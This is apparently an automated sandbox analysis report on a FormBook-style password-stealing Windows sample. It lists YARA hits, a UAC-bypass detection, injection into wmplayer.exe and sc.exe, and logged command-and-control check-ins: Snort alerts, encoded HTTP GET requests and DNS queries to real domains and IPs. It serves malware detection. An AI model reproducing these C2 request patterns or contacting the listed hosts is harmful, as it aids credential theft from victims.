Windows Analysis Report
SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

AI detected suspicious sample

Source: Yara match	File source: 6.2.wmplayer.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.wmplayer.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.3944875828.0000000003180000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2322232096.00000000035F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3942451462.0000000002E00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3948817261.00000000057D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2321692626.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.3945190684.00000000032D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.3945837611.00000000038C0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2322275427.00000000040C0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 00000000.00000002.2455500615.000001DF0C0D9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe PID: 1512, type: MEMORYSTR

Source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF246C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.PDB source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdbRSDS source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: System.Windows.Forms.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: C:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.PDBH source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2453568054.000000AA40102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: wmplayer.exe, 00000006.00000002.2321922412.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000003.2230114991.00000000030F5000.00000004.00000020.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000003.2228408124.0000000002F48000.00000004.00000020.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000002.2321922412.000000000343E000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 0000000D.00000003.2321954921.00000000031D2000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000000D.00000002.3945847956.00000000036DE000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 0000000D.00000003.2323720085.000000000338F000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000000D.00000002.3945847956.0000000003540000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: sc.pdbUGP source: wmplayer.exe, 00000006.00000002.2321810526.0000000002E47000.00000004.00000020.00020000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000002.3944318113.00000000011D8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: wntdll.pdb source: wmplayer.exe, wmplayer.exe, 00000006.00000002.2321922412.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000003.2230114991.00000000030F5000.00000004.00000020.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000003.2228408124.0000000002F48000.00000004.00000020.00020000.00000000.sdmp, wmplayer.exe, 00000006.00000002.2321922412.000000000343E000.00000040.00001000.00020000.00000000.sdmp, sc.exe, sc.exe, 0000000D.00000003.2321954921.00000000031D2000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000000D.00000002.3945847956.00000000036DE000.00000040.00001000.00020000.00000000.sdmp, sc.exe, 0000000D.00000003.2323720085.000000000338F000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000000D.00000002.3945847956.0000000003540000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.PDB source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2453568054.000000AA40102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: sc.pdb source: wmplayer.exe, 00000006.00000002.2321810526.0000000002E47000.00000004.00000020.00020000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000002.3944318113.00000000011D8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\dll\Microsoft.VisualBasic.pdbCoe source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A0A3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: pC:\Users\user\Desktop\SecuriteInfo.com.Win64.PWSX-gen.14792.13715.PDB source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2453568054.000000AA40102000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: mscorlib.pdb` source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A114000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A114000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp, WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.VisualBasic.pdb.0e source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF246C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbx. source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A114000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: NwXvnHITawmpBkkZKEXJ.exe, 0000000B.00000002.3942485337.0000000000A7E000.00000002.00000001.01000000.00000009.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000000.2386545627.0000000000A7E000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: System.Drawing.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: mscorlib.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: f:\binaries\Intermediate\vb\microsoft.visualbasic.build.vbproj_731629843\objr\x86\Microsoft.VisualBasic.pdbPROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocaQ, source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2454248653.000001DF0A114000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: SecuriteInfo.com.Win64.PWSX-gen.14792.13715.exe, 00000000.00000002.2459015863.000001DF2471B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: Microsoft.VisualBasic.pdb- source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: wmplayer.pdbGCTL source: sc.exe, 0000000D.00000002.3946994371.0000000003B6C000.00000004.10000000.00040000.00000000.sdmp, sc.exe, 0000000D.00000002.3942849584.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3946036134.000000000339C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2615659691.00000000191BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: wmplayer.pdb source: sc.exe, 0000000D.00000002.3946994371.0000000003B6C000.00000004.10000000.00040000.00000000.sdmp, sc.exe, 0000000D.00000002.3942849584.0000000002EFE000.00000004.00000020.00020000.00000000.sdmp, NwXvnHITawmpBkkZKEXJ.exe, 0000000E.00000002.3946036134.000000000339C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000015.00000002.2615659691.00000000191BC000.00000004.80000000.00040000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WER9BF4.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WER9BF4.tmp.dmp.9.dr

Source: C:\Windows\System32\unregmp2.exe	File opened: z:
Source: C:\Windows\System32\unregmp2.exe	File opened: x:
Source: C:\Windows\System32\unregmp2.exe	File opened: v:
Source: C:\Windows\System32\unregmp2.exe	File opened: t:
Source: C:\Windows\System32\unregmp2.exe	File opened: r:
Source: C:\Windows\System32\unregmp2.exe	File opened: p:
Source: C:\Windows\System32\unregmp2.exe	File opened: n:
Source: C:\Windows\System32\unregmp2.exe	File opened: l:
Source: C:\Windows\System32\unregmp2.exe	File opened: j:
Source: C:\Windows\System32\unregmp2.exe	File opened: h:
Source: C:\Windows\System32\unregmp2.exe	File opened: f:
Source: C:\Windows\System32\unregmp2.exe	File opened: b:
Source: C:\Windows\System32\unregmp2.exe	File opened: y:
Source: C:\Windows\System32\unregmp2.exe	File opened: w:
Source: C:\Windows\System32\unregmp2.exe	File opened: u:
Source: C:\Windows\System32\unregmp2.exe	File opened: s:
Source: C:\Windows\System32\unregmp2.exe	File opened: q:
Source: C:\Windows\System32\unregmp2.exe	File opened: o:
Source: C:\Windows\System32\unregmp2.exe	File opened: m:
Source: C:\Windows\System32\unregmp2.exe	File opened: k:
Source: C:\Windows\System32\unregmp2.exe	File opened: i:
Source: C:\Windows\System32\unregmp2.exe	File opened: g:
Source: C:\Windows\System32\unregmp2.exe	File opened: e:
Source: C:\Windows\System32\unregmp2.exe	File opened: c:
Source: C:\Windows\System32\unregmp2.exe	File opened: a:

Source: C:\Windows\SysWOW64\sc.exe

Code function: 13_2_02E1BCA0 FindFirstFileW,FindNextFileW,FindClose,

13_2_02E1BCA0

Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\desktop.ini	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Program Files (x86)\Windows Media Player\wmplayer.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: C:\Windows\SysWOW64\sc.exe	Code function: 4x nop then xor eax, eax		13_2_02E09710
Source: C:\Windows\SysWOW64\sc.exe	Code function: 4x nop then mov ebx, 00000004h		13_2_033B0541

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59401 -> 89.31.143.90:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59407 -> 81.88.48.71:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59408 -> 81.88.48.71:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59410 -> 81.88.48.71:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59411 -> 156.251.142.105:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59412 -> 156.251.142.105:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59414 -> 156.251.142.105:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59416 -> 81.88.57.70:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59417 -> 81.88.57.70:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59419 -> 81.88.57.70:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59420 -> 203.161.49.220:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59421 -> 203.161.49.220:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59423 -> 203.161.49.220:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59424 -> 152.32.156.214:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59426 -> 152.32.156.214:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59428 -> 152.32.156.214:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59429 -> 64.190.62.22:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59430 -> 64.190.62.22:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59432 -> 64.190.62.22:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59433 -> 23.105.172.12:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59434 -> 23.105.172.12:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59436 -> 23.105.172.12:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59437 -> 185.151.30.199:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59438 -> 185.151.30.199:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59440 -> 185.151.30.199:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59441 -> 142.250.185.211:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59442 -> 142.250.185.211:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59445 -> 142.250.185.211:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59446 -> 47.239.13.172:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59447 -> 47.239.13.172:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59449 -> 47.239.13.172:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59450 -> 47.239.13.172:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59451 -> 47.239.13.172:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59453 -> 47.239.13.172:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59454 -> 47.239.13.172:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59455 -> 47.239.13.172:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59457 -> 47.239.13.172:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59458 -> 46.235.40.27:80
Source: Traffic	Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:59459 -> 46.235.40.27:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59461 -> 46.235.40.27:80
Source: Traffic	Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:59462 -> 89.31.143.90:80

Performs DNS queries to domains with low reputation

Source:

DNS query: www.vertilehub.xyz

Source: Joe Sandbox View	IP Address: 23.105.172.12 23.105.172.12
Source: Joe Sandbox View	IP Address: 64.190.62.22 64.190.62.22

Source: Joe Sandbox View	ASN Name: LEASEWEB-USA-WDCUS LEASEWEB-USA-WDCUS
Source: Joe Sandbox View	ASN Name: NBS11696US NBS11696US
Source: Joe Sandbox View	ASN Name: VNPT-AS-VNVNPTCorpVN VNPT-AS-VNVNPTCorpVN

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /obdd/?3pSl=bXiTJHhxyN&Z6ZTG=iAqH8h/tGKVhLv76hXtDkp/tsoNJZUwghhFRVhBlXKA5k0wUKDpGIsk5Z77aZpW07kzVnHl6/cD+xmMbGt3tKENSOXeInUOEjIwpy90PuGUlpE2byY+FLaYtfu+R+h2f+4odIwk= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.le-kuk.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /utkc/?Z6ZTG=xUiyaqLJoScYwvSKxaGp/hpT2WjKlz4HgwmTPdW94fPPmC4rv/t3tHuSJrzPzR7paXxk8earaiLam3RcAVyJFQBqD9wWwb3EOl9ToIAQBz3Abx7ULfREDyg8fvDjES+swyckS94=&3pSl=bXiTJHhxyN HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.limpiezasbarcelo.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /awbu/?3pSl=bXiTJHhxyN&Z6ZTG=tfMOGb5YbIlZgDy8Ct7zXIcDvsDfT/TzyUAekPS/3XIjjxWvcqryNCXIK4stFUxfS1vuJxAN6daHj1X4B8YBs4RT9ktx4jetcwfj0b5V53bLA3sBo/Tvu++c4r3yYfk5ffJC8L0= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.top65s.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /hfmm/?Z6ZTG=NFJP1MENpWop4mQ2Zs5LCbA0YH8E+xFn0ZZfcGEEhmCw8vkYycZHoGwi7KU1tu5K8k8nV/m8HY5DGkDycaipo03uFrN3sKGd/4X9PAy/KU8mrpcfTGbb4advs0SPZoPYPk8rppw=&3pSl=bXiTJHhxyN HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.videos60.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /ei4t/?3pSl=bXiTJHhxyN&Z6ZTG=vJK+R49o60hMb5R0zuW0LjMDSBoWblw/xm7bGUo972WEnNUAqilJR4ikt7uwBrcRV8UZThTaEWZ7S+DdGKZTmgrpJBBQs9ifJOYm4nfBSZlzTv8zXZPL/ZPwonFSFx1LsUa4ZMM= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.vertilehub.xyzConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /wvfe/?3pSl=bXiTJHhxyN&Z6ZTG=9oDlrGBoczxc0gczmqK1qT+UWdDZ5zHLqosyG+84tRh7R4eQSXiPG8LnfVg9iGgF5+wWImCEQfufShLjWU3N10ZwNVybtIBwFMrSzRX1wq0uGk8UZr/5T8KnA73sbBy91RxM/wk= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.xuzfceth.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /expp/?Z6ZTG=4RP2jfjc/CKkP2k0VFIzhmOcoxlGKDo9u/ZkfjmOk/GcJdogV5u478VHpy4Tx1zZR2PffU9j3QXLxJ/zQp1CY/gImr6l8nbjZW8kbJ4UJqZmHhNvkenHenANmOUPEa0Yb7H7CBE=&3pSl=bXiTJHhxyN HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.hondamechanic.todayConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /hfkt/?3pSl=bXiTJHhxyN&Z6ZTG=DjhV5ZtyptNtrRVL14+Y+susbmSjzG/9xdAoGM+9umLmUU6H5kdIuyQunB9svsxFbN7a2+mg2UjjMTinRCLCxuYh/RfhiZ2azIWHVHb3pa+ivSdntBEUsH8W9S2MHlPSw0GyODA= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.primefindsstore.shopConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /lxk5/?3pSl=bXiTJHhxyN&Z6ZTG=zj5keJbhqHRqpBHEzEPKOuQbxRjm8qWuWsd9F2eyqHWyZ50o0GVe7MC2nYinXopw20BlJsxmZQL4Qtg6IXTgBkLaiZkxb6ZcnHHrEYQse9ZTnJ7WfQRHJgpeqyDS6bOga2ykoHk= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.salecost.co.ukConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0
Source: global traffic	HTTP traffic detected: GET /odz6/?Z6ZTG=g2MxG/W7xhmOYso67RKSNHAiz8R/MmCgHQBJyh6P0RXX/Tr+d5ouA/hJc9ntyVwHyC0jENaFifi0j0/YggYyTtohP/rQs3Pv13bgnK1VWNIV+aS38IFIZFluiy4+zt0Ak7+zX+w=&3pSl=bXiTJHhxyN HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.bayviewcribbage.comConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0

Source: global traffic	DNS traffic detected: DNS query: www.le-kuk.shop
Source: global traffic	DNS traffic detected: DNS query: www.limpiezasbarcelo.com
Source: global traffic	DNS traffic detected: DNS query: www.top65s.com
Source: global traffic	DNS traffic detected: DNS query: www.videos60.com
Source: global traffic	DNS traffic detected: DNS query: www.vertilehub.xyz
Source: global traffic	DNS traffic detected: DNS query: www.theestrellastore.com
Source: global traffic	DNS traffic detected: DNS query: www.xuzfceth.com
Source: global traffic	DNS traffic detected: DNS query: www.hondamechanic.today
Source: global traffic	DNS traffic detected: DNS query: www.primefindsstore.shop
Source: global traffic	DNS traffic detected: DNS query: www.ecurtiscustoms.com
Source: global traffic	DNS traffic detected: DNS query: www.salecost.co.uk
Source: global traffic	DNS traffic detected: DNS query: www.bayviewcribbage.com

Source: unknown

